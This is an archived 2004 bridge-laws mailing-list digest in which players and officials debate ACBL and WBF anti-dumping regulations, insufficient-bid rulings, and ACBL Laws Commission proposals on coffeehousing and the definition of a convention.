Committee Message-ID: <6.1.0.6.0.20040521195930.02bb4830@incoming.verizon.net> I just stumbled on this link to the minutes of the ACBL-LC and thought that some others on this list might be interested in it: http://www.acbl.org/about/lawsCommissionMinutes.html Walt From walt1@verizon.net Sat May 22 01:19:37 2004 From: walt1@verizon.net (Walt) Date: Fri, 21 May 2004 20:19:37 -0400 Subject: [blml] A newer one In-Reply-To: References: Message-ID: <6.1.0.6.0.20040521201544.02d88460@incoming.verizon.net> At 05:40 PM 21/05/2004, David Stevenson wrote: >Ed Reppert wrote >>On Friday, May 21, 2004, at 07:21 US/Eastern, David Stevenson wrote: >> >>> Sorry, John, wrong. ACBL and WBF regs clearly make dumping illegal >>> in certain circumstances, so it is clearly *not* legal to dump in those >>> circumstances *even though* that means your chance of winning the event >>> is decreased. >> >>Hm. Maybe I'm confusing the various sets of regs, but isn't there also a >>regulation that you must play to win the event? If so, then it seems we >>have conflicting regulations, and *whatever* you do you've violated one >>of them. > > Well, my memory may be at fault, but I think there is only one > meaningful reg for each organisation. The ACBL one tells you ot do your > best on each board. The WBF one tells you to do your best over each stanza. > > And we get sneered at in England because we merely expect you to try to > win the event! I've just been out to the ACBL web site (www.acbl.org) and it has recently "been improved", I guess. I finally managed to find the convention charts by using a search engine (I have no idea how to find them now in any other way) but I could not find any other regulations. Can anyone point me to a regulation which bears (or may bear) on dumping? Thanks Walt From ereppert@rochester.rr.com Sat May 22 01:31:55 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 21 May 2004 20:31:55 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: Message-ID: <6D824964-AB87-11D8-943F-0030656F6826@rochester.rr.com> On Friday, May 21, 2004, at 17:38 US/Eastern, David Stevenson wrote: >> Is the offender's testimony corroborated (or refuted) by other >> evidence? Perhaps still not "incontrovertable", but better than just >> accepting the testimony. > > What other evidence do you want? A sheepish elderly woman has bid > 3C, she is very embarrassed, she tells you she did not realise RHO had > bid *3D*, what do you want, the third degree? I was simply suggesting that if Eric (or anyone else for that matter) does not want to rule on an IB case solely on the basis of the offending player's testimony, perhaps they should look for other evidence. It's not a question of what I want - and "the third degree" was certainly not a possibility I considered, or would consider. >> Seems to me the alternative is to decide that an IB is *never* (or >> almost never) incontrovertibly not conventional. I don't like that >> much. :-( > > Good. How about the alternative of just ruling that when it appears > to be a mistake between two natural possibilities then it was a > mistake between two natural possibilities? *Is* that an alternative? Seems to me it ignores the presence of the word "incontrovertible" in the appropriate law. You've told me before that we have to use common sense in interpreting the laws, and I take your point, but should we also not try to avoid ignoring a law, even when that makes the job a little tougher? From blml@blakjak.com Sat May 22 02:22:34 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 22 May 2004 02:22:34 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <6D824964-AB87-11D8-943F-0030656F6826@rochester.rr.com> References: <6D824964-AB87-11D8-943F-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote >On Friday, May 21, 2004, at 17:38 US/Eastern, David Stevenson wrote: >>> Seems to me the alternative is to decide that an IB is *never* (or >>>almost never) incontrovertibly not conventional. I don't like that >>>much. :-( >> >> Good. How about the alternative of just ruling that when it >>appears to be a mistake between two natural possibilities then it was >>a mistake between two natural possibilities? > >*Is* that an alternative? Seems to me it ignores the presence of the >word "incontrovertible" in the appropriate law. You've told me before >that we have to use common sense in interpreting the laws, and I take >your point, but should we also not try to avoid ignoring a law, even >when that makes the job a little tougher? I believe incontrovertible is there to make it absolutely clear which way to rule in cases of doubt, not so that we need to invent doubt when we have none. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From mikopera@nyc.rr.com Sat May 22 03:04:43 2004 From: mikopera@nyc.rr.com (Michael Kopera) Date: Fri, 21 May 2004 22:04:43 -0400 Subject: [blml] A newer one References: <6.1.0.6.0.20040521201544.02d88460@incoming.verizon.net> Message-ID: <40AEB53B.C481E1C3@nyc.rr.com> http://web2.acbl.org/coc/2004/acblgeneral.htm Play: 5. Players are expected to play each hand to win at all times. No dumping is permitted even if such dumping may be in the contestant's best long-term interest. Walt wrote: > > I've just been out to the ACBL web site (www.acbl.org) and it has recently > "been improved", I guess. I finally managed to find the convention charts > by using a search engine (I have no idea how to find them now in any other > way) but I could not find any other regulations. > > Can anyone point me to a regulation which bears (or may bear) on dumping? > > Thanks > > Walt > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml -- Mike Kopera The direct use of force is such a poor solution to any problem, it is generally employed only by small children and large nations. From john@asimere.com Sat May 22 03:25:31 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 22 May 2004 03:25:31 +0100 Subject: [blml] A newer one In-Reply-To: <40AEB53B.C481E1C3@nyc.rr.com> References: <6.1.0.6.0.20040521201544.02d88460@incoming.verizon.net> <40AEB53B.C481E1C3@nyc.rr.com> Message-ID: <6mhvFIAborrAFwWY@asimere.com> In article <40AEB53B.C481E1C3@nyc.rr.com>, Michael Kopera writes >http://web2.acbl.org/coc/2004/acblgeneral.htm > >Play: 5. Players are expected to play each hand to win at all times. No >dumping is permitted even if such dumping may be in the contestant's >best long-term interest. ok, I concede again. twice in one week, it's all too much to bear :) cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From jaapvanderneut@hotmail.com Sat May 22 10:49:23 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Sat, 22 May 2004 11:49:23 +0200 Subject: [blml] A newer one References: Message-ID: DWS > >Hm. Maybe I'm confusing the various sets of regs, but isn't there also > >a regulation that you must play to win the event? If so, then it seems > >we have conflicting regulations, and *whatever* you do you've violated > >one of them. > > Well, my memory may be at fault, but I think there is only one > meaningful reg for each organisation. The ACBL one tells you ot do your > best on each board. The WBF one tells you to do your best over each > stanza. > > And we get sneered at in England because we merely expect you to try > to win the event! > All these regs are totally meaningless because they are conflicting with other regs and they cannot be enforced anyway. A championship consists normally out of different 'stages' which in turn consists out of different 'matches' which in turn consists out of different boards. Players enter to win the championship. So suppose some stupid incompetent SO devises the CoC in a way that it is advantageous to dump at one of the sublevels to increase the change of winning the championship. Instead of improving the CoC the SO tries to solve this with stopgap regs like 'you have to play every board/session/match/whatever as best as you can'. Logically this boils down to 'you have to play contrary to your best interest to win the championship'. This kind of stupid regs will never work and lawmakers that think along these lines should be fired immediatly. In Holland we had/have the same stupidity. After a dumping scandal where the SO (Dutch Fed) lost the legal post mortem in a humilating fasion they made such an anti-dumping rule like 'you should play every board as best as you can' without changing the CoC which caused the problem. I am curious what will happen at the next dumping problem. My guess is they will lose again all legal procedings because I cannot imagine this new reg will survive (serious) legal challenging. Because such a fight in Holland will be decided by independant lawyers, not by anyone involved in writing those stupid regs or anyone high up the Fed, so political power doesn't help the lawmakers. Those bloody lawyers will just judge the legality of the new reg compared to other and higher regs. Anyone wants to take bets? Bottom line. Just make sure that dumping can never be a winning strategy. Because if it is a winning strategy it will be used. And what do you want to do about it. Has ever anybody started let alone won a case against dumpers who did not announce what they were doing (and it is quite possible to give 100 odd imps away in a session without using 7NT**-10). How do you think you can proof it. And even if you can how will you defend the case in a higher court against the argument 'I did my best to win the championship'. Good luck to you. I am sure it is much easier (and much cheaper !) to write decent CoC's. The only sensible remark I have read was by John Probst. Peer presure makes people continue to play in a (remotely) normal way in contexts like the last round(s) of a RR with nothing more at stake. Not regulations. The only thing regulations can do is to make sure something is at stake. Jaap From steve@nhcc.net Sat May 22 17:08:55 2004 From: steve@nhcc.net (Steve Willner) Date: Sat, 22 May 2004 12:08:55 -0400 Subject: [blml] Re: ACBL Laws Committee In-Reply-To: <200405221548.i4MFmAQN028946@cfa183.cfa.harvard.edu> Message-ID: > From: Walt > http://www.acbl.org/about/lawsCommissionMinutes.html Thanks, Walt. That is well hidden. There are several interesting, surprising, and in some cases dismaying items, but I'll pick just two to comment on. The Reno minutes have this: "Jeff Polisner’s suggestion that Law 73F2 be amended to preclude score adjustments for players who draw a false inference from an opponent’s deceptive action was discussed. A large majority of the Commission agreed that the law should be changed so that inferences may be drawn only at a player’s own risk." What are these people thinking? Do they really want to go back to the days when there was no score-adjustment remedy for coffeehousing? >From the New Orleans minutes: "it was reported that the definition of the word “convention” would change in the new laws. There will be separate definitions for bids, doubles and redoubles, and pass." This seems quite sensible if there is to be a definition at all. In fact, I'd go further and separate suit bids from notrump bids. Suit bids will be tricky, though. How can the rules deal with distributional restrictions in other suits? For example, the usual American 1H opening says that hearts are strictly longer than spades, but I don't think most people will want it to be a convention. As won't surprise regular readers :-), I have a suggestion. The dividing line could be showing length or high card strength in a specified suit other than the one named. This has some unexpected and perhaps undesired results in that, for example, a heart bid that shows heart length plus a singleton club would not be a convention, but I don't see how to fix this without making the "natural" 1H bid a convention. Is this something we can live with, or can someone do better? From mfrench1@san.rr.com Sat May 22 18:32:20 2004 From: mfrench1@san.rr.com (Marvin French) Date: Sat, 22 May 2004 10:32:20 -0700 Subject: [blml] Re: ACBL Laws Committee References: Message-ID: <000a01c44022$bf506800$6401a8c0@san.rr.com> From: "Steve Willner" > > From: Walt > > http://www.acbl.org/about/lawsCommissionMinutes.html > > Thanks, Walt. That is well hidden. Not fair, Steve. For some time now the minutes have been easily found, and now even more easily with the new website design. Just click on "Site Index" to find this and much other stuff. >There are several interesting, > surprising, and in some cases dismaying items, but I'll pick just two to > comment on. > > The Reno minutes have this: > "Jeff Polisner's suggestion that Law 73F2 be amended to preclude > score adjustments for players who draw a false inference from an > opponent's deceptive action was discussed. A large majority of the > Commission agreed that the law should be changed so that inferences may > be drawn only at a player's own risk." > > What are these people thinking? Do they really want to go back to the > days when there was no score-adjustment remedy for coffeehousing? Yes. I attended the meeting and was surprised that no one seemed to have a strong objection to this idea. There is a problem deciding whether opposing breaks in tempo should be covered by L73D1 (inadvertent, used by an opponent "at his own risk"), or L73D2 (intentional), or 73F2 ("no demontrable bridge reason), but there must be better ways to reduce the problem. The LC would benefit from a bit more formality in the conduct of its meetings. Note the absence of any vote counts in the minutes, and no procedures for handling "motions." The discussion of a change to the revoke laws took 40-45 minutes, after which they finally decided on no change. > > From the New Orleans minutes: > "it was reported that the definition of the word "convention" would > change in the new laws. There will be separate definitions for bids, > doubles and redoubles, and pass." > > This seems quite sensible if there is to be a definition at all. In > fact, I'd go further and separate suit bids from notrump bids. Suit > bids will be tricky, though. How can the rules deal with distributional > restrictions in other suits? For example, the usual American 1H opening > says that hearts are strictly longer than spades, but I don't think most > people will want it to be a convention. > > As won't surprise regular readers :-), I have a suggestion. The > dividing line could be showing length or high card strength in a > specified suit other than the one named. This has some unexpected and > perhaps undesired results in that, for example, a heart bid that shows > heart length plus a singleton club would not be a convention, but I > don't see how to fix this without making the "natural" 1H bid a > convention. Is this something we can live with, or can someone do > better? > With no consensus on a definition, let's do away with the word "convention" altogether and grant SOs the authority to control HUMs (as defined by the SO) only. Marv Marvin L. French San Diego, California From adam@tameware.com Sat May 22 19:26:44 2004 From: adam@tameware.com (Adam Wildavsky) Date: Sat, 22 May 2004 14:26:44 -0400 Subject: [blml] Re: ACBL Laws Committee In-Reply-To: <000a01c44022$bf506800$6401a8c0@san.rr.com> References: <000a01c44022$bf506800$6401a8c0@san.rr.com> Message-ID: At 10:32 AM -0700 5/22/04, Marvin French wrote: >From: "Steve Willner" > > The Reno minutes have this: >> "Jeff Polisner's suggestion that Law 73F2 be amended to preclude >> score adjustments for players who draw a false inference from an >> opponent's deceptive action was discussed. A large majority of the >> Commission agreed that the law should be changed so that inferences > > may be drawn only at a player's own risk." > > >> What are these people thinking? Do they really want to go back to the >> days when there was no score-adjustment remedy for coffeehousing? > >Yes. I attended the meeting and was surprised that no one seemed to have >a strong objection to this idea. That's not quite fair. I had a strong objection, and received permission to address the LC on the matter. Alas my words were not persuasive. As I recall one or two LC members agreed that this would be a poor change to make -- unfortunately I don't recall who they were. At least my arguments didn't drive them to the other camp! >The LC would benefit from a bit more formality in the conduct of its >meetings. Note the absence of any vote counts in the minutes, and no >procedures for handling "motions." The discussion of a change to the >revoke laws took 40-45 minutes, after which they finally decided on no >change. I agree, more formality would be productive. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From gesta@tiscali.co.uk Sat May 22 20:55:25 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sat, 22 May 2004 20:55:25 +0100 Subject: Fw: [blml] Matchpoint dumping (was A newer one) References: <003201c43f0c$af234c20$879d4c51@4nrw70j> Message-ID: <002d01c4403b$00917f80$a3a0403e@multivisionoem> Grattan Endicott To: Sent: Friday, May 21, 2004 12:38 PM Subject: Re: Fw: [blml] Matchpoint dumping (was A newer one) > grandeval wrote > > > In the above I should perhaps have drawn > > attention to the post-Kaplan expansion of this. > > DWS: > I wonder why "Iceland" comes to mind? > +=+ The allusion is lost upon me. ~ G ~ +=+ From gesta@tiscali.co.uk Sat May 22 20:13:24 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sat, 22 May 2004 20:13:24 +0100 Subject: [blml] A newer one References: Message-ID: <002c01c4403a$ffbfb090$a3a0403e@multivisionoem> Grattan Endicott To: "blml" Sent: Friday, May 21, 2004 9:23 PM Subject: Re: [blml] A newer one > > On Friday, May 21, 2004, at 07:21 US/Eastern, David Stevenson wrote: > > > Sorry, John, wrong. ACBL and WBF regs clearly make dumping illegal > > in certain circumstances, so it is clearly *not* legal to dump in > > those circumstances *even though* that means your chance of winning > > the event is decreased. > > Hm. Maybe I'm confusing the various sets of regs, but isn't there also > a regulation that you must play to win the event? If so, then it seems > we have conflicting regulations, and *whatever* you do you've violated > one of them. > +=+ I do not think this is so. I believe that play to win the event must be in a manner compliant with the laws and regulations. This precludes playing to win the event by way of dumping a board or session if such dumping is a violation of regulation. ~ Grattan ~ +=+ From wayne.burrows@xtra.co.nz Sat May 22 21:38:47 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 23 May 2004 08:38:47 +1200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003201c43f0c$af234c20$879d4c51@4nrw70j> Message-ID: <000101c4403c$c8590870$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of grandeval > Sent: Friday, 21 May 2004 8:20 p.m. > To: bridge laws mailing list > Subject: Fw: [blml] Matchpoint dumping (was A newer one) > > > Added comment. > ************** > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "What sets us against one another is > not our aims - they all come to the same > thing - but our methods, which are the > fruit of our varied reasoning." > ~ Saint-Exupery. > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "grandeval" > To: > Sent: Friday, May 21, 2004 8:54 AM > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > Grattan Endicott > [alternatively gesta@tiscali.co.uk] > > ============================== > > "What sets us against one another is > > not our aims - they all come to the same > > thing - but our methods, which are the > > fruit of our varied reasoning." > > ~ Saint-Exupery. > > ++++++++++++++++++++++++++++++ > > ----- Original Message ----- > > From: > > To: > > Sent: Friday, May 21, 2004 2:43 AM > > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > > > > > > > > > > > > > > Grattan Endicott: > > > > > > >>+=+ I am distrustful of the linking of EK with the EBU > > > >>and Landau in a single "view". Do not overlook the fact > > > >>that EK was at the heart of the Yokohama question and > > > >>engaged in, supported, the devising of the WBF Anti- > > > >>Dumping regulation. > > > > > > [snip] > > > > > > Richard James Hills: > > > > > > It is true that Edgar Kaplan had a two-pronged position > > > on dumping. > > > > > > 1. If a vile Condition of Contest provides an incentive > > > for a contestant to dump in order to have an improved > > > chance of winning the event, then it should be both > > > legal and ethical for that contestant to dump. > > > > > > 2. Sponsoring organisations should revile a vile CoC. > > > > > > So, Edgar Kaplan's revision of the Bermuda Bowl quarter- > > > final pairings rules to discourage dumping was completely > > > consistent with his philosophy. > > > > > +=+ I had in mind his involvement in and support for the > > WBF regulation that says: "The WBF expects all teams > > and partnerships to play to win at all times and in all > > circumstances." And for the interpretation of this that > > requires teams/partnerships to play to win every match, > > which indeed is what it says quite plainly. See General > > Conditions of Contest, under 'Ethics and Deportment'. > > ~ > Grattan ~ +=+ > > > +=+ Add: > In the above I should perhaps have drawn attention to the > post-Kaplan expansion of this. The 2003 General Conditions > at 32.3 say additonally: "It is not permissible for a partnership > to play by design to obtain a session score inferior to that > of its opponents and the Committee shall have the authority to > determine on such evidence as it considers sufficient whether > a partnership has done so." > ~ G ~ +=+ Quite plainly the earlier statement : "And for the interpretation of this that requires teams/partnerships to play to win every match, which indeed is what it says quite plainly." is not supported by the latter statement : "It is not permissible for a partnership to play by design..." In particular, a team may dump by playing its weaker players against whom so ever it chooses. Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Sat May 22 21:47:55 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 23 May 2004 08:47:55 +1200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A86@lonsc-s-031.europe.shell.com> Message-ID: <000201c4403e$0f669e70$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Hinden, Frances SI-PXS > Sent: Friday, 21 May 2004 10:13 p.m. > To: blml > Subject: RE: [blml] Matchpoint dumping (was A newer one) > > [Frances] > The two can coincide. In the past the EBU have run their > trials as a pairs pre-trial followed by a team trial. > Two pairs entering the pre-trial could specify that if they > both qualified they would play as a team. If they didn't > both qualify, or didn't specify team-mates, the winners of the > pre-trial selected which of the non-committed qualifying pairs > they wanted to play with, and so on down the ranking list. > > If pair A were certain to qualify, but their potential team-mates > pair B were in danger of not qualifying, there is a clear > incentive for pair A to dump their match against pair B. > > This seems in line with the EBU dumping rules, just about. > > I didn't play in the trials then, it may have been the case > that all potential pairings played each other very early on. > I recently played in an event that had a similar problem. The event was teams of four to select a team of six. A team of six was not allowed to enter. If six particular players would like to become the team of six they were forced to enter as a team of four (team A) plus a pair playing with another pair with whom they did not really wish to play with making up team B. There was potentially an obvious conflict of interest when Team A were drawn to play Team B. This interest did not need to be declared in advance so there was no way of monitoring it. Wayne From grandeval@vejez.fsnet.co.uk Sun May 23 00:26:48 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 23 May 2004 00:26:48 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <000101c4403c$c8590870$0401010a@Desktop> Message-ID: <004501c44054$88a59500$6e79893e@4nrw70j> Grattan Endicott To: "'grandeval'" ; "'bridge laws mailing list'" Sent: Saturday, May 22, 2004 9:38 PM Subject: RE: [blml] Matchpoint dumping (was A newer one) > > In particular, a team may dump by playing its > weaker players against whom so ever it chooses. > +=+ You may of course be right, Wayne. The WBF regulation concedes the right to line up the weaker pairs, concentrating its fire on the partnerships in play and requiring them to play to beat their opponents at the table. Completed, the regulation reads "While a team may rest its players and make other decisions for strategic reasons, it is not permissible for a partnership to play by design to obtain a session score inferior to that of its opponents .... etc. " So the WBF thinks at least that it has your point covered. On the other hand, if you were to take the weaker pairs and then line up the four players in two unpractised partnerships, the question would potemntially arise as to whether the team was playing to win the match as the first sentence of 32.3 requires. ~ G ~ +=+: From john@asimere.com Sun May 23 06:10:37 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 23 May 2004 06:10:37 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000101c4403c$c8590870$0401010a@Desktop> References: <003201c43f0c$af234c20$879d4c51@4nrw70j> <000101c4403c$c8590870$0401010a@Desktop> Message-ID: In article <000101c4403c$c8590870$0401010a@Desktop>, Wayne Burrows writes > > snip >> > >> +=+ Add: >> In the above I should perhaps have drawn attention to the >> post-Kaplan expansion of this. The 2003 General Conditions >> at 32.3 say additonally: "It is not permissible for a partnership >> to play by design to obtain a session score inferior to that >> of its opponents and the Committee shall have the authority to >> determine on such evidence as it considers sufficient whether >> a partnership has done so." >> ~ G ~ +=+ > How would you feel if I switched to playing Colonel Buller's excellent system as promulgated by his book? cheers John >Quite plainly the earlier statement : > >"And for the interpretation of this that requires teams/partnerships >to play to win every match, which indeed is what it says quite >plainly." > >is not supported by the latter statement : > >"It is not permissible for a partnership to play by design..." > >In particular, a team may dump by playing its weaker players >against whom so ever it chooses. > >Wayne > >> >> >> _______________________________________________ >> blml mailing list >> blml@rtflb.org >> http://www.amsterdamned.org/mailman/listinfo/blml >> > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From t.kooyman@worldonline.nl Sun May 23 09:43:05 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 23 May 2004 10:43:05 +0200 Subject: [blml] Matchpoint dumping (was A newer one) References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> Message-ID: <001001c440a2$1c9ae790$52ebf1c3@LNV> Grattan: > Completed, the regulation reads "While a > team may rest its players and make other decisions > for strategic reasons, it is not permissible for a > partnership to play by design to obtain a session score > inferior to that of its opponents .... etc. " So the WBF > thinks at least that it has your point covered. Another example of crooked wording. Apparently the WBF does allow a partnership to play inferior bridge as long as it strives for at least 15 VP's in the match. ton From grandeval@vejez.fsnet.co.uk Sun May 23 10:05:07 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 23 May 2004 10:05:07 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <003201c43f0c$af234c20$879d4c51@4nrw70j> <000101c4403c$c8590870$0401010a@Desktop> Message-ID: <001a01c440af$eaf696e0$a6d4883e@4nrw70j> Grattan Endicott To: Sent: Sunday, May 23, 2004 6:10 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > In article <000101c4403c$c8590870$0401010a@Desktop>, Wayne Burrows > writes > > > > > snip > >> > > >> +=+ Add: > >> In the above I should perhaps have drawn attention to the > >> post-Kaplan expansion of this. The 2003 General Conditions > >> at 32.3 say additonally: "It is not permissible for a partnership > >> to play by design to obtain a session score inferior to that > >> of its opponents and the Committee shall have the authority to > >> determine on such evidence as it considers sufficient whether > >> a partnership has done so." > >> ~ G ~ +=+ > > > How would you feel if I switched to playing Colonel Buller's > excellent system as promulgated by his book? cheers John > . +=+ Er :-), in your case, John? - Optimistic! But more seriously, switching methods in the course of a WBF Championship could involve having pre-registered the system. The systems regulations for the particular style of tournament would apply, in the WBF or wherever. Something for regulatory bodies to mull over, since you raise it? ~ G ~ +=+ From gesta@tiscali.co.uk Sun May 23 12:06:21 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 23 May 2004 12:06:21 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> <001001c440a2$1c9ae790$52ebf1c3@LNV> Message-ID: <003901c440b6$15531b10$e508e150@multivisionoem> Grattan Endicott To: "'bridge laws mailing list'" Sent: Sunday, May 23, 2004 9:43 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > Grattan: > > > Completed, the regulation reads "While a > > team may rest its players and make other decisions > > for strategic reasons, it is not permissible for a > > partnership to play by design to obtain a session score > > inferior to that of its opponents .... etc. " So the WBF > > thinks at least that it has your point covered. > > ton > Another example of crooked wording. Apparently the > WBF does allow a partnership to play inferior bridge as > long as it strives for at least 15 VP's in the match. > > +=+ An interesting thought. I have not seen, as far as I recall, a regulation in any competition that actually says "It is forbidden to play inferior bridge". The nearest suggestion heard would perhaps be "Thou shalt not misremember thy convention"! :-)) 32.3 does begin by saying "The WBF expects all teams and partnerships to play to win at all times and in all circumstances". Since this statement also appears in Section 6 (Ethics and Deportment) of the same document it is obviously of exceptional importance. Maybe it is not enough, therefore, to play for 15-15. I suppose we both bear a modest quantum of corporate responsibility for the regulations being what they are, without being prime movers. ~ G ~ +=+ > From twm@cix.co.uk Sun May 23 12:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sun, 23 May 2004 12:36 +0100 (BST) Subject: [blml] A newer one In-Reply-To: <40AEB53B.C481E1C3@nyc.rr.com> Message-ID: mikopera wrote: > Play: 5. Players are expected to play each hand to win at all times. No > dumping is permitted even if such dumping may be in the contestant's > best long-term interest. Well at least players are free to *bid* in their best interests;) In reality the exhortation makes little sense. Hands are not played independently but as part of a session (match/whatever) and the "best" play when on 54% may differ from the "best" play when on 64%. Nor would I feel obliged to take a 5% line to make my doubled contract (at risk of 800) when I felt that the 100% line for -1 would get me a reasonable score. I think that when the ACBL talks of "dumping" they mean gifting good scores to specific opponents rather than trying to win/qualify. Tim From john@asimere.com Sun May 23 14:22:10 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 23 May 2004 14:22:10 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003901c440b6$15531b10$e508e150@multivisionoem> References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> <001001c440a2$1c9ae790$52ebf1c3@LNV> <003901c440b6$15531b10$e508e150@multivisionoem> Message-ID: In article <003901c440b6$15531b10$e508e150@multivisionoem>, gesta@tiscali.co.uk writes > >Grattan Endicott [also grandeval@vejez.fsnet.co.uk] >++++++++++++++++++++++++++++++++. >"I waive the quantum o' the sin; >The hazard of concealing; >But och! it hardens a' within, >And petrifies the feeling!" > ['Epistle to a Young Friend'] >#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= >----- Original Message ----- >From: "Ton Kooijman" >To: "'bridge laws mailing list'" >Sent: Sunday, May 23, 2004 9:43 AM >Subject: Re: [blml] Matchpoint dumping (was A newer one) > > >> Grattan: >> >> > Completed, the regulation reads "While a >> > team may rest its players and make other decisions >> > for strategic reasons, it is not permissible for a >> > partnership to play by design to obtain a session score >> > inferior to that of its opponents .... etc. " So the WBF >> > thinks at least that it has your point covered. >> >> ton >> Another example of crooked wording. Apparently the >> WBF does allow a partnership to play inferior bridge as >> long as it strives for at least 15 VP's in the match. >> >> >+=+ An interesting thought. I have not seen, as far as I >recall, a regulation in any competition that actually says >"It is forbidden to play inferior bridge". The nearest >suggestion heard would perhaps be "Thou shalt not >misremember thy convention"! :-)) > 32.3 does begin by saying "The WBF expects all >teams and partnerships to play to win at all times to win the board, the session, the post mortem or the event? John > and >in all circumstances". Since this statement also appears >in Section 6 (Ethics and Deportment) of the same >document it is obviously of exceptional importance. >Maybe it is not enough, therefore, to play for 15-15. > I suppose we both bear a modest quantum of >corporate responsibility for the regulations being what >they are, without being prime movers. > ~ G ~ +=+ >> > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From gordon@gordonrainsford.co.uk Sun May 23 14:56:59 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sun, 23 May 2004 14:56:59 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> <001001c440a2$1c9ae790$52ebf1c3@LNV> <003901c440b6$15531b10$e508e150@multivisionoem> Message-ID: <0F4FBEA8-ACC1-11D8-9FE1-0003936A6522@gordonrainsford.co.uk> On 23 May 2004, at 14:22, John (MadDog) Probst wrote: >> +=+ An interesting thought. I have not seen, as far as I >> recall, a regulation in any competition that actually says >> "It is forbidden to play inferior bridge". The nearest >> suggestion heard would perhaps be "Thou shalt not >> misremember thy convention"! :-)) >> 32.3 does begin by saying "The WBF expects all >> teams and partnerships to play to win at all times > > to win the board, the session, the post mortem or the event? John For most players, once an event is well under way, the only possible way they could play to win (the event) would be to take extremely wild shots on every hand. Beyond a certain stage in the event, it will have become impossible for the majority. -- Gordon Rainsford London UK From svenpran@online.no Sun May 23 17:19:30 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 23 May 2004 18:19:30 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <0F4FBEA8-ACC1-11D8-9FE1-0003936A6522@gordonrainsford.co.uk> Message-ID: <000001c440e1$b9fb9b30$6900a8c0@WINXP> > Gordon Rainsford ............ > For most players, once an event is well under way, the only possible > way they could play to win (the event) would be to take extremely wild > shots on every hand. Beyond a certain stage in the event, it will have > become impossible for the majority. A friend of mine has said the true words: Those who try to create points on a board are always successful, and the points go to their opponents! Sven From grandeval@vejez.fsnet.co.uk Sun May 23 19:59:58 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 23 May 2004 19:59:58 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <000101c4403c$c8590870$0401010a@Desktop> <004501c44054$88a59500$6e79893e@4nrw70j> <001001c440a2$1c9ae790$52ebf1c3@LNV> <003901c440b6$15531b10$e508e150@multivisionoem> Message-ID: <006201c440f8$6998b8a0$38c387d9@4nrw70j> Grattan Endicott To: Sent: 